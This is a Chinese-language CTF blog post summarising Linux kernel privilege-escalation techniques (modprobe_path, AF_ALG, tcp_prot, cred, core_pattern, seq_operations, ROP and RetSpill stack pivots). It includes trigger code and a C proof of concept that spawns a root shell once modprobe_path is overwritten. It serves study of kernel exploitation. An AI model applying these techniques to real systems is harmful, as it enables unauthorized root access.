Skip to main content

Kernel 提权路径总结

·6198 words·13 mins·
CTF PWN Kernel ROP Paper
Table of Contents

任意地址写(AAW)
#

modprobe_path
#

sys_execve()
  => do_execve()
    => do_execveat_common()
      => bprm_execve()
        => exec_binprm()
          => search_binary_handler()
            => request_module()
              => __request_module()
                => call_modprobe()
                  => call_usermodehelper_exec()
                    => queue_work(call_usermodehelper_exec_work)
[ kworker ]
call_usermodehelper_exec_work()
  => call_usermodehelper_exec_sync()
    => call_usermodehelper_exec_async()
      => kernel_execve()

非法文件
#

利用条件:CONFIG_BINFMT_MISC=yCONFIG_STATIC_USERMODEHELPER=n

若是我们能够劫持 modprobe_path,将其改写为我们指定的恶意脚本的路径,随后我们再执行一个非法文件(内核无法根据文件头识别文件信息),内核将会以 root 权限执行我们的恶意脚本。

流程示意如下:

// create fake modprobe_path file
root_script_fd = open(MAGIC_PATH, O_RDWR | O_CREAT);
write(root_script_fd, root_cmd, sizeof(root_cmd));
close(root_script_fd);
system("chmod +x " MAGIC_PATH);

// hijack modprobe_path
AAW(modprobe_path, MAGIC_PATH)

// trigger the exploit
puts("[*] trigerring fake modprobe_path...");   
system("echo -e '\\xff\\xff\\xff\\xff' > /home/trigger");
system("chmod +x /home/trigger");
system("/home/trigger");

AF_ALG socket
#

利用条件:CONFIG_STATIC_USERMODEHELPER=n

去年11月的 [/fs/exec.c-patch]/fs/exec.c-patch 补丁修改了search_binary_handler()函数使其不再调用request_module(),所以新版本内核中,无法通过执行非法文件来触发劫持控制流。

但内核中调用request_module()的方式非常多,其中最符合利用需求的是AF_ALG socket1

AF_ALG 是一个基于套接字的接口,允许用户空间访问内核的加密API,但在此技术中,它被用于不调用任何加密功能。

当在这个套接字上调用bind()时,它会触发alg_bind()函数。这个函数会搜索与用户提供的sa->salg_type [5]对应的类型,如果未找到,它会调用request_module() [6]来尝试加载。

static const struct proto_ops alg_proto_ops = {
        .family         =       PF_ALG,
        .owner          =       THIS_MODULE,
        ...
        .bind           =       alg_bind,
        .release        =       af_alg_release,
        .setsockopt     =       alg_setsockopt,
        .accept         =       alg_accept,
};
static int alg_bind(struct socket *sock, struct sockaddr *uaddr, int addr_len)
{
        const u32 allowed = CRYPTO_ALG_KERN_DRIVER_ONLY;
        struct sock *sk = sock->sk;
        struct alg_sock *ask = alg_sk(sk);
        struct sockaddr_alg_new *sa = (void *)uaddr;
        const struct af_alg_type *type;
        void *private;
        int err;
        ...
        sa->salg_type[sizeof(sa->salg_type) - 1] = 0;
        sa->salg_name[addr_len - sizeof(*sa) - 1] = 0;
        type = alg_get_type(sa->salg_type);    // [5]
        if (PTR_ERR(type) == -ENOENT) {
                request_module("algif-%s", sa->salg_type);    // [6]
                type = alg_get_type(sa->salg_type);
        }

也就是说,只要传递给sa->salg_type的字符串是无效的加密类型,就会调用request_module()。思路和执行非法文件比较类似。

PoC 如下:

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <fcntl.h>
#include <sys/mman.h>

#define MODPROBE_SCRIPT "#!/bin/sh\\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\\n"

int main(void)
{
        char fake_modprobe[40] = {0};
        struct sockaddr_alg sa;
        pid_t pid = getpid();

        int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
        int shell_stdin_fd = dup(STDIN_FILENO);
        int shell_stdout_fd = dup(STDOUT_FILENO);

        dprintf(modprobe_script_fd, MODPROBE_SCRIPT, pid, shell_stdin_fd, pid, shell_stdout_fd);
        snprintf(fake_modprobe, sizeof(fake_modprobe), "/proc/%i/fd/%i", pid, modprobe_script_fd);

        // Overwriting modprobe_path with fake_modprobe here...

        int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
        if (alg_fd < 0) {
                perror("socket(AF_ALG) failed");
                return 1;
        }

        memset(&sa, 0, sizeof(sa));
        sa.salg_family = AF_ALG;
        strcpy((char *)sa.salg_type, "V4bel");  // dummy string
        bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));

        return 0;
}

例题:TsukuCTF 2025 easy_kernel

未知协议 socket
#

利用条件:CONFIG_MODULES=yCONFIG_STATIC_USERMODEHELPER=n

socket 指定未知协议也能够触发,从v6.16源码可以看到,创建sock时若无法匹配指定的family则会调用request_module

int __sock_create(struct net *net, int family, int type, int protocol,
			 struct socket **res, int kern)
{
	...
#ifdef CONFIG_MODULES
	/* Attempt to load a protocol module if the find failed.
	 *
	 * 12/09/1996 Marcin: But! this makes REALLY only sense, if the user
	 * requested real, full-featured networking support upon configuration.
	 * Otherwise module support will break!
	 */
	if (rcu_access_pointer(net_families[family]) == NULL)
		request_module("net-pf-%d", family); // 这里调了request_module
#endif

可以发现AF_ALG socket这种方法相比之下是更通用的。

n_tty_ops
#

利用条件:

  1. 目标系统必须使用 n_tty 驱动(Linux 默认的伪终端驱动,适用于 /dev/pts/X/dev/tty)。
  2. n_tty_ops 可写

图片出处已不可考

static struct tty_ldisc_ops n_tty_ops = {
	.magic           = TTY_LDISC_MAGIC,
	.name            = "n_tty",
	.open            = n_tty_open,
	.close           = n_tty_close,
	.flush_buffer    = n_tty_flush_buffer,
	.read            = n_tty_read,
	.write           = n_tty_write,
	.ioctl           = n_tty_ioctl,
	.set_termios     = n_tty_set_termios,
	.poll            = n_tty_poll,
	.receive_buf     = n_tty_receive_buf,
	.write_wakeup    = n_tty_write_wakeup,
	.receive_buf2	 = n_tty_receive_buf2,
};

劫持 n_tty_ops.read 构造 ROP chain,用 syscall read 触发 ROP,拿到权限后将其恢复,正常进行终端交互。

cred
#

利用条件:定位cred

struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* number of processes subscribed */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* real UID of the task */
	kgid_t		gid;		/* real GID of the task */
	kuid_t		suid;		/* saved UID of the task */
	kgid_t		sgid;		/* saved GID of the task */
	kuid_t		euid;		/* effective UID of the task */
	kgid_t		egid;		/* effective GID of the task */
	kuid_t		fsuid;		/* UID for VFS ops */
	kgid_t		fsgid;		/* GID for VFS ops */
        ...
} __randomize_layout;

攻击的方式有两种2

  1. 直接修改 cred 结构体的内容
  2. 修改 task_struct 结构体中的 cred 指针指向一个满足要求的 cred

网上大多说把 uid~fsgid 全置为0,实际上权限主要与 uid 和 euid 有关,这两个置为0就够了。当然只修改 uid 为0再在用户态设置 euid 也行。

RWCTF2022 Digging into kernel 1 & 2 这种 cred_jar 没有设置 SLAB_ACCOUNT 导致和题目的 slab 合并现在不太可能见到,利用方法是 fork 子进程修改其 cred。

tcp_prot
#

利用条件:tcp_prot可写

中文互联网似乎没人分析这种技巧,对tcp_prot的利用技术最早被用于利用 CVE-2022-29582

Even better, each tls_context has a proto pointer to tcp_prot. This object has two awesome features. For one, its address is a constant offset from the kernel base. So reading out field sk_proto == &tcp_prot means a way around KASLR. Further, it’s got a bunch of function pointers. So if we can forge a fake proto object then we’ve got the main ingredient for arbitrary code execution. As we might’ve guessed from the diagram, we are specifically going to target getsockopt().

tcp_prot 是 Linux 内核中用于定义 TCP 协议行为的结构体。该结构体既可以被用于泄露 kernel 地址,也可以被用于控制流劫持。一般是通过用户态调用setsockopt()函数来触发tcp_prot->setsockopt

struct proto tcp_prot = {
	.name			= "TCP",
	.owner			= THIS_MODULE,
	.close			= tcp_close,
	.pre_connect		= tcp_v4_pre_connect,
	.connect		= tcp_v4_connect,
	.disconnect		= tcp_disconnect,
	.accept			= inet_csk_accept,
	.ioctl			= tcp_ioctl,
	.init			= tcp_v4_init_sock,
	.destroy		= tcp_v4_destroy_sock,
	.shutdown		= tcp_shutdown,
	.setsockopt		= tcp_setsockopt,
	.getsockopt		= tcp_getsockopt,
	.bpf_bypass_getsockopt	= tcp_bpf_bypass_getsockopt,
	.keepalive		= tcp_set_keepalive,
	.recvmsg		= tcp_recvmsg,
	.sendmsg		= tcp_sendmsg,
	.sendpage		= tcp_sendpage,
	.backlog_rcv		= tcp_v4_do_rcv,
	.release_cb		= tcp_release_cb,
	.hash			= inet_hash,
	.unhash			= inet_unhash,
	.get_port		= inet_csk_get_port,
	.put_port		= inet_put_port,
#ifdef CONFIG_BPF_SYSCALL
	.psock_update_sk_prot	= tcp_bpf_update_proto,
#endif
	.enter_memory_pressure	= tcp_enter_memory_pressure,
	.leave_memory_pressure	= tcp_leave_memory_pressure,
	.stream_memory_free	= tcp_stream_memory_free,
	.sockets_allocated	= &tcp_sockets_allocated,
	.orphan_count		= &tcp_orphan_count,

	.memory_allocated	= &tcp_memory_allocated,
	.per_cpu_fw_alloc	= &tcp_memory_per_cpu_fw_alloc,

	.memory_pressure	= &tcp_memory_pressure,
	.sysctl_mem		= sysctl_tcp_mem,
	.sysctl_wmem_offset	= offsetof(struct net, ipv4.sysctl_tcp_wmem),
	.sysctl_rmem_offset	= offsetof(struct net, ipv4.sysctl_tcp_rmem),
	.max_header		= MAX_TCP_HEADER,
	.obj_size		= sizeof(struct tcp_sock),
	.slab_flags		= SLAB_TYPESAFE_BY_RCU,
	.twsk_prot		= &tcp_timewait_sock_ops,
	.rsk_prot		= &tcp_request_sock_ops,
	.h.hashinfo		= NULL,
	.no_autobind		= true,
	.diag_destroy		= tcp_abort,
};

考虑如下代码:

int fd = socket(AF_INET, SOCK_STREAM, 0);
setsockopt(fd, SOL_TCP, TCP_ULP, fake_stack, 0x1337);

socket 函数是 socket 系统调用的封装,内核调用__sys_socket()进行处理(本节所有 kernel 源代码取自v6.3.4),该函数调用__sys_socket_create()

int __sys_socket(int family, int type, int protocol)
{
	struct socket *sock;
	int flags;

	sock = __sys_socket_create(family, type, protocol);
	if (IS_ERR(sock))
		return PTR_ERR(sock);

	flags = type & ~SOCK_TYPE_MASK;
	if (SOCK_NONBLOCK != O_NONBLOCK && (flags & SOCK_NONBLOCK))
		flags = (flags & ~SOCK_NONBLOCK) | O_NONBLOCK;

	return sock_map_fd(sock, flags & (O_CLOEXEC | O_NONBLOCK));
}

__sys_socket_create()调用sock_create()函数 -> __sock_create()函数,根据协议族来创建 sock:

int __sock_create(struct net *net, int family, int type, int protocol,
			 struct socket **res, int kern)
{
	int err;
	struct socket *sock;
	const struct net_proto_family *pf;
	...
	sock = sock_alloc(); // 分配 sock 结构体
	sock->type = type;
    ...
	pf = rcu_dereference(net_families[family]); // 获取协议族处理函数 (AF_INET -> inet_family_ops)
	...
	err = pf->create(net, sock, protocol, kern); // 调用 inet_create()	
    ... 
	*res = sock;
	return 0;
	...
}

inet_create()inetsw链表查找sock->type对应的inet_protosw结构体:

static int inet_create(struct net *net, struct socket *sock, int protocol,
               int kern)
{
	struct sock *sk;
	struct inet_protosw *answer;
	struct inet_sock *inet;
	struct proto *answer_prot;
	unsigned char answer_flags;
	int try_loading_module = 0;
	int err;
	...
    // 查找协议处理器 (SOCK_STREAM -> TCP)
	list_for_each_entry_rcu(answer, &inetsw[sock->type], list) {

		err = 0;
		/* Check the non-wild match. */
		if (protocol == answer->protocol) {
			if (protocol != IPPROTO_IP)
				break;
		} else {
			/* Check for the two wild cases. */
			if (IPPROTO_IP == protocol) {
				protocol = answer->protocol;
				break;
			}
			if (IPPROTO_IP == answer->protocol)
				break;
		}
		err = -EPROTONOSUPPORT;
	}
	...
    // 设置socket操作函数表
    sock->ops = answer->ops;           // inet_stream_ops
    answer_prot = answer->prot;        // tcp_prot
    answer_flags = answer->flags;
	...
    // 分配sock结构体,使用tcp_prot作为协议处理器
    sk = sk_alloc(net, PF_INET, GFP_KERNEL, answer_prot, kern);
	...
    // 初始化socket与sock的关联
    sock_init_data(sock, sk);
	...
    return err;
}

inet 初始化时,inet_init调用inet_register_protosw将静态数组inetsw_array转化为了动态链表inetsw

static int __init inet_init(void)
{
    ...

	for (r = &inetsw[0]; r < &inetsw[SOCK_MAX]; ++r)
		INIT_LIST_HEAD(r);	 // 初始化每个链表头

    /* Register the socket-side information for inet_create. */
	for (q = inetsw_array; q < &inetsw_array[INETSW_ARRAY_LEN]; ++q)
		inet_register_protosw(q);	// 注册每个协议到对应链表   

    ...
    return 0;
}

void inet_register_protosw(struct inet_protosw *p)
{
	struct list_head *lh;
	struct inet_protosw *answer;
	int protocol = p->protocol;
	struct list_head *last_perm;

    spin_lock_bh(&inetsw_lock);
	...
    // 根据socket类型选择对应的链表
	last_perm = &inetsw[p->type];
	...
    // 将协议处理器添加到对应类型的链表中
	list_add_rcu(&p->list, last_perm);

    spin_unlock_bh(&inetsw_lock);
    ...
}

inetsw_array如下所示:

static struct inet_protosw inetsw_array[] =
{
	{
		.type =       SOCK_STREAM,
		.protocol =   IPPROTO_TCP,
		.prot =       &tcp_prot,
		.ops =        &inet_stream_ops,
		.flags =      INET_PROTOSW_PERMANENT |
			      INET_PROTOSW_ICSK,
	},

	{
		.type =       SOCK_DGRAM,
		.protocol =   IPPROTO_UDP,
		.prot =       &udp_prot,
		.ops =        &inet_dgram_ops,
		.flags =      INET_PROTOSW_PERMANENT,
       },

       {
		.type =       SOCK_DGRAM,
		.protocol =   IPPROTO_ICMP,
		.prot =       &ping_prot,
		.ops =        &inet_sockraw_ops,
		.flags =      INET_PROTOSW_REUSE,
       },

       {
	       .type =       SOCK_RAW,
	       .protocol =   IPPROTO_IP,	/* wild card */
	       .prot =       &raw_prot,
	       .ops =        &inet_sockraw_ops,
	       .flags =      INET_PROTOSW_REUSE,
       }
};

之前创建sock指定的typeSOCK_STREAM,因此对应这里的第一项,prot&tcp_protops&inet_stream_ops

static int inet_create(struct net *net, struct socket *sock, int protocol,
               int kern)
{
	...
    // 设置socket操作函数表
    sock->ops = answer->ops;           // inet_stream_ops
    answer_prot = answer->prot;        // tcp_prot
    answer_flags = answer->flags;
	...
    // 分配sock结构体,使用tcp_prot作为协议处理器
    sk = sk_alloc(net, PF_INET, GFP_KERNEL, answer_prot, kern);
	...
    // 初始化socket与sock的关联
    sock_init_data(sock, sk);
	...
    return err;
}

在调用sk_alloc()分配结构体时,将&tcp_prot赋给了sk->sk_prot

struct sock *sk_alloc(struct net *net, int family, gfp_t priority,
		      struct proto *prot, int kern)
{
	struct sock *sk;

	sk = sk_prot_alloc(prot, priority | __GFP_ZERO, family);
	if (sk) {
		sk->sk_family = family;
		/*
		 * See comment in struct sock definition to understand
		 * why we need sk_prot_creator -acme
		 */
		sk->sk_prot = sk->sk_prot_creator = prot; // sk->sk_prot = prot (这里是tcp_prot)
		sk->sk_kern_sock = kern;
		sock_lock_init(sk);
		sk->sk_net_refcnt = kern ? 0 : 1;
		if (likely(sk->sk_net_refcnt)) {
			get_net_track(net, &sk->ns_tracker, priority);
			sock_inuse_add(net, 1);
		} else {
			__netns_tracker_alloc(net, &sk->ns_tracker,
					      false, priority);
		}

		sock_net_set(sk, net);
		refcount_set(&sk->sk_wmem_alloc, 1);

		mem_cgroup_sk_alloc(sk);
		cgroup_sk_alloc(&sk->sk_cgrp_data);
		sock_update_classid(&sk->sk_cgrp_data);
		sock_update_netprioidx(&sk->sk_cgrp_data);
		sk_tx_queue_clear(sk);
	}

	return sk;
}

用户态调用setsockopt() 库函数,实际是sys_setsockopt()的封装。

__sys_setsockopt函数处理该系统调用,源码如下:

int __sys_setsockopt(int fd, int level, int optname, char __user *user_optval,
		int optlen)
{
	sockptr_t optval = USER_SOCKPTR(user_optval);
	char *kernel_optval = NULL;
	int err, fput_needed;
	struct socket *sock;

	if (optlen < 0)
		return -EINVAL;

	sock = sockfd_lookup_light(fd, &err, &fput_needed);
	if (!sock)
		return err;

	err = security_socket_setsockopt(sock, level, optname);
	if (err)
		goto out_put;

	if (!in_compat_syscall())
		err = BPF_CGROUP_RUN_PROG_SETSOCKOPT(sock->sk, &level, &optname,
						     user_optval, &optlen,
						     &kernel_optval);
	if (err < 0)
		goto out_put;
	if (err > 0) {
		err = 0;
		goto out_put;
	}

	if (kernel_optval)
		optval = KERNEL_SOCKPTR(kernel_optval);
	if (level == SOL_SOCKET && !sock_use_custom_sol_socket(sock))
		err = sock_setsockopt(sock, level, optname, optval, optlen);
	else if (unlikely(!sock->ops->setsockopt))
		err = -EOPNOTSUPP;
	else
		err = sock->ops->setsockopt(sock, level, optname, optval,
					    optlen);
	kfree(kernel_optval);
out_put:
	fput_light(sock->file, fput_needed);
	return err;
}

如果 level != SOL_SOCKET(比如 SOL_TCP):调用 sock->ops->setsockopt()。如果读者记忆力比较好,应该还记得这里的ops&inet_stream_ops,这是调用sock时由内核确定的。

inet_stream_ops结构体如下,可以看到会调用sock_common_setsockopt

const struct proto_ops inet_stream_ops = {
	.family		   = PF_INET,
	.owner		   = THIS_MODULE,
	.release	   = inet_release,
	.bind		   = inet_bind,
	.connect	   = inet_stream_connect,
	.socketpair	   = sock_no_socketpair,
	.accept		   = inet_accept,
	.getname	   = inet_getname,
	.poll		   = tcp_poll,
	.ioctl		   = inet_ioctl,
	.gettstamp	   = sock_gettstamp,
	.listen		   = inet_listen,
	.shutdown	   = inet_shutdown,
	.setsockopt	   = sock_common_setsockopt,
	.getsockopt	   = sock_common_getsockopt,
	.sendmsg	   = inet_sendmsg,
	.recvmsg	   = inet_recvmsg,
#ifdef CONFIG_MMU
	.mmap		   = tcp_mmap,
#endif
	.sendpage	   = inet_sendpage,
	.splice_read	   = tcp_splice_read,
	.read_sock	   = tcp_read_sock,
	.read_skb	   = tcp_read_skb,
	.sendmsg_locked    = tcp_sendmsg_locked,
	.sendpage_locked   = tcp_sendpage_locked,
	.peek_len	   = tcp_peek_len,
#ifdef CONFIG_COMPAT
	.compat_ioctl	   = inet_compat_ioctl,
#endif
	.set_rcvlowat	   = tcp_set_rcvlowat,
};

sock_common_setsockopt实现如下:

int sock_common_setsockopt(struct socket *sock, int level, int optname,
			   sockptr_t optval, unsigned int optlen)
{
	struct sock *sk = sock->sk;

	/* IPV6_ADDRFORM can change sk->sk_prot under us. */
	return READ_ONCE(sk->sk_prot)->setsockopt(sk, level, optname, optval, optlen);
}

可以看到最终是调用了sk->sk_prot->setsockopt,而在我们讨论的情况下,sk_prot就是&tcp_prot

总结一下,在我们讨论的这种情况下,用户态调用setsockopt()会触发内核中tcp_prot->setsockopt的调用。当我们修改此处指针后,用户态的const void *option_value参数被保留,根据 System V ABI 调用约定,rcx 寄存器的内容被用户态控制。因此我们可以利用 rcx 来做 stack_pivot(在 CVE-2022-29582 例子里,用了mov rcx, rsp; mov rsp, rcx; pop rbx; pop rbp; ret;这个gadget),方法是覆盖内核中的tcp_prot->setsockopt为rcx相关的gadget,然后在用户态调用setsockoptoption_value参数指向伪造的栈。

例题:corCTF 2023 sysruption

这道题 AMD CPU 做不了,我没做

core_pattern
#

利用条件:core_pattern可写,SELinux 等未阻止core_pattern管道执行。

core_pattern是内核区域的一个全局变量,在程序异常退出后,内核会找到core_pattern的值(默认是core)作为 core dump 的文件名存储进程崩溃时的信息用于调试。

core_pattern的值为"|xxx.sh"时,触发一个程序的 coredump,就能让该脚本以root权限执行。

现代系统通过限制普通用户对 /proc/sys/kernel/core_pattern 的写权限(如使用 capabilities 或 SELinux)减少了风险,但是这种攻击方式仍被用于容器逃逸提权。

Ubuntu 中的 core_pattern

|/usr/share/apport/apport -p%p -s%s -c%c -d%d -P%P -u%u -g%g -F%F -- %E

WSL Ubuntu 中的 core_pattern

|/wsl-capture-crash %t %E %p %s

hijack prctl
#

利用条件:poweroff_cmdtask_prctl可写

内核中的poweroff_work_func函数会执行run_cmd(poweroff_cmd),把task_prctl劫持到__orderly_poweroff,然后篡改poweroff_cmd为我们需要执行的二进制文件路径。接着调用prctl,就会以root权限执行我们的二进制文件,从而提权。

vDSO(过时)
#

利用条件:vDSO 可写

内核中 vDSO 的代码会被映射到所有的用户态进程中。如果有一个高特权的进程会周期性地调用 vDSO 中的函数,那我们可以考虑把 vDSO 中相应的函数修改为特定的 shellcode。当高权限的进程执行相应的代码时,我们就可以进行提权。

seq_operations 等非静态定义结构体
#

利用条件: 通过任何方式定位该结构体(如 kmalloc-32 UAF)

seq_operations 3是一个大小为0x20的结构体,打开一个 stat 文件时(如 /proc/self/stat )便会在内核空间中分配一个 seq_operations 结构体,该结构体定义于 /include/linux/seq_file.h 当中,只定义了四个函数指针,如下:

struct seq_operations {
    void * (*start) (struct seq_file *m, loff_t *pos);
    void (*stop) (struct seq_file *m, void *v);
    void * (*next) (struct seq_file *m, void *v, loff_t *pos);
    int (*show) (struct seq_file *m, void *v);
};

当我们read一个stat文件时,内核会调用proc_opsproc_read_iter指针

ssize_t seq_read_iter(struct kiocb *iocb, struct iov_iter *iter)
{
    struct seq_file *m = iocb->ki_filp->private_data;
    //...
    p = m->op->start(m, &m->index);
    //...

即会调用seq_operations->start指针,我们只需覆盖start指针为特定gadget,即可控制程序执行流。

其他有函数指针的非静态定义结构体:

  • pipe_bufffer
  • packet_sock
  • sk_buff
  • file

任意文件写
#

  • /proc/sys/kernel/modprobe 对应 modprobe_path
  • /proc/sys/kernel/core_pattern 对应 core_pattern
  • init,得能重启且不被重置
  • /proc/<pid>/mem root 权限进程注入
  • /etc目录的话,passwd, shadow, ld.so.preload, pam.d, cron, sudoers

ROP
#

内核执行 commit_creds(prepare_kernel_cred(0))或 commit_creds(&init_cred) 使进程获得root权限

返回用户态
#

  • swapgs 指令恢复用户态 GS 寄存器,sysretq 或者 iretq 恢复到用户空间
  • KPTI(内核页表隔离) 开启,用swapgs_restore_regs_and_return_to_usermode
  • SMEP(阻止内核态代码执行来自用户空间的代码)开启,修改 CR4 寄存器的值:cr4 = cr4 & ~(1 << 20);第20位置零代表 SMEP 关闭
  • 未开启 KPTI 时,还可用 ret2dir 直接利用 direct mapping area 来构造 ROP chain

栈迁移
#

pt_regs
#

进行系统调用时,entry_SYSCALL_64函数会将所有的寄存器压入内核栈上,形成一个 pt_regs 结构体,该结构体实质上位于内核栈底,定义如下:

struct pt_regs {
/*
 * C ABI says these regs are callee-preserved. They aren't saved on kernel entry
 * unless syscall needs a complete, fully filled "struct pt_regs".
 */
    unsigned long r15;
    unsigned long r14;
    unsigned long r13;
    unsigned long r12;
    unsigned long rbp;
    unsigned long rbx;
/* These regs are callee-clobbered. Always saved on kernel entry. */
    unsigned long r11;
    unsigned long r10;
    unsigned long r9;
    unsigned long r8;
    unsigned long rax;
    unsigned long rcx;
    unsigned long rdx;
    unsigned long rsi;
    unsigned long rdi;
/*
 * On syscall entry, this is syscall#. On CPU exception, this is error code.
 * On hw interrupt, it's IRQ number:
 */
    unsigned long orig_rax;
/* Return frame for iretq */
    unsigned long rip;
    unsigned long cs;
    unsigned long eflags;
    unsigned long rsp;
    unsigned long ss;
/* top of stack page */
};

在未启用RANDKSTACK的内核中,该结构体和目标函数(被劫持)的栈帧之间的偏移量是固定的。

因此可以利用该结构体构造 ROP chain,然后通过 stack pivot gadget 跳过去。

利用 tcp_prot 的 rcx
#

见 AAW 节 tcp_prot

用这种方法做栈迁移实际也在 RetSpill 的实验中体现了。

RetSpill
#

ASU sefcom Kyle Zeng 的一篇顶会4。基本思路是,在执行系统调用时,部分用户空间数据保存在内核堆栈中。

举例来说,poll这个系统调用会调用copy_from_user把用户态数据直接复制到内核栈上:

int do_sys_poll(...)
{
    long stack_pps[POLL_STACK_ALLOC/sizeof(long)];
    struct poll_list *walk = (struct poll_list *)stack_pps;

    // copy user space data onto kernel stack
    copy_from_user(walk->entries, ufds, sizeof(walk->entries);

    // invoke poll handler for each fd
    pfd = walk->entries;
    for(; ... ; pfd++) {
        file = fdget(pfd).file;
        file->f_op->poll(...);
    }
    ...
}

如果攻击者控制了用户空间中的 file object,当通过 file->f_op->poll 调用获取控制流劫持原语时,他们将控制内核堆栈上的 0x1e0 (论文工作中测试得到)字节。然后,攻击者可以栈迁移到这里。在poll调用的生命周期内,堆栈上的数据是始终有效的。

RetSpill 的另一个思路是,exp 进程里的所有线程共享系统资源(包括内核堆里的victim object),每一个线程都可以独立地执行 ROP chain(有不同的 task 上下文)。这样做的好处是可以稳定地重用控制流劫持。

RANDKSTACK 在函数栈帧和pt_regs区域引入了一个随机的偏移,让pt_regs方法更难利用了。但是对 RetSpill 的影响不是很大,例如poll 调用的用户态数据不受影响,因为这些数据在函数栈帧里。论文还提到,大多数 Linux 发行版都没有开启panic_on_oops,因此可以在线程里不断爆破 pt_regs 和函数栈帧之间的偏移量。

FG-KASLR,函数粒度的内核地址随机化也无法完全缓解 RetSpill(以及其他很多技术),因为内核中某些区域永远不会被随机化,包括 KPTI trampoline swapgs_restore_regs_and_return_to_usermode()和内核符号表 ksymtab5。攻击者可以在位置无关的代码中寻找 ROP gadgets 来构造任意读原语,然后通过ksymtab计算函数地址。

当然,作为学术论文,RetSpill 最具贡献的地方是实现了一个半自动化工具 IGNI,可以根据输入的 kernel image 生成一个 RetSpill 利用模板,大大降低了内核漏洞利用的门槛。

例题:corCTF 2021 Wall of Perdition

参考资料
#

BeaCox
Author
BeaCox
Stay humble, remain critical.

Related

从 RWCTF2022 Digging into kernel 1 & 2 学内核提权方法
·2984 words·6 mins
CTF PWN Kernel Source Code ROP UAF
从 pwnable.tw——3x17 学习 .fini_array
·1289 words·3 mins
CTF PWN ROP .Fini_array
V8 内联缓存机制及漏洞
·4098 words·9 mins
CTF PWN V8 JavaScript